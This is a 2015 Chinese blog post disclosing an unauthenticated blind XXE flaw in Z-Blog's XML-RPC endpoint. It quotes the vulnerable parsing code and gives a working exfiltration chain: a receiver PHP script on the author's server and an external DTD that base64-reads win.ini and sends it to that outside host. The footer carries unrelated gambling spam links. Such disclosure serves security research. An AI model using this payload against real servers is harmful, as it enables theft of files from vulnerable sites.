Sep 28 2015

Z-BLOG Blind-XXE造成任意文件读取

首页 » 漏洞收集 » Z-BLOG Blind-XXE造成任意文件读取   

简要描述:

看到雨牛发z-blog,我也来凑热闹。
一个Blind XXE教学,无需登录。

详细说明:

下载最新版Z-Blog:http://bbs.zblogcn.com/thread-88670-1-1.html

/zb_system/xml-rpc/index.php 641行:

code 区域
$zbp->Load();



Add_Filter_Plugin('Filter_Plugin_Zbp_ShowError','RespondError');



$xmlstring = file_get_contents( 'php://input' );

//Logs($xmlstring);

$xml = simplexml_load_string($xmlstring);



可见,这里直接调用simple_load_string解析XML,造成了一个XML实体注入。

但观察后面的代码发现,需要用户、密码才能执行一些操作,得到回显,否则会报错。

没有回显的情况下,我们怎么来利用XXE,这里就说到一个blind xxe,在这篇文章都有详细的说明:

http://hivesec.net/web-security/%E5%85%B3%E4%BA%8Eblind-xxe.html

所以原理什么的我就不细说了,实际上我也是一知半解。主要看利用方法。



先在我主机上放一个接收文件的php(http://mhz.pw/xxe/get.php):

code 区域
<?php

file_put_contents('01.txt', $_GET['xxe_local']);

?>



目的是将$_GET['xxe_local']存入本地文件01.txt。然后再构造一个xml,也保存在我的主机上,这个XML实际上就是真正读取文件的XML:

code 区域
<!ENTITY % payload	SYSTEM	 "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">

<!ENTITY % int "<!ENTITY &#37; trick SYSTEM 'http://mhz.pw/xxe/get.php?xxe_local=%payload;'>">

%int;

%trick;


我们看到这个XML,他引用了外部实体c:/windows/win.ini作为payload的值,然后又将payload拼接到http://mhz.pw/xxe/get.php?xxe_local=%payload;,进行HTTP请求。

接收到请求的get.php就将这个文件内容保存到01.txt了,形成了一个文件读取的过程。

然后,我们向/zb_system/xml-rpc/index.php发包,让它来加载上面这个XML:

zblogpng.png

发包过去后,就会请求我们的evil_php.xml,解析这个xml造成XXE攻击,读取c:/windows/win.ini并进行base64编码后传给get.php,最后保存在我们的主机上:


如果您喜欢本博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容:

正文部分到此结束

文章标签: Z-BLOG漏洞 Z-BLOGxxe漏洞 xee漏洞

版权声明:若无特殊注明,本文皆为( mOon )原创,转载请保留文章出处。

也许喜欢: «mysql udf linux by mOon | 被人遗忘的Memcached内存注射»

你肿么看?

你还可以输入 250/250 个字

微笑 大笑 拽 大哭 亲亲 流汗 喷血 奸笑 囧 不爽 晕 示爱 害羞 吃惊 惊叹 爱你 吓死了 呵呵

评论信息框

这篇文章还没有收到评论,赶紧来抢沙发吧~

友情链接:万达娱乐开户  万达招商QQ  万达娱乐招商QQ  万达直属  万达招商  华宇招商  万达主管QQ  万达开户  万达娱乐注册  万达娱乐直属QQ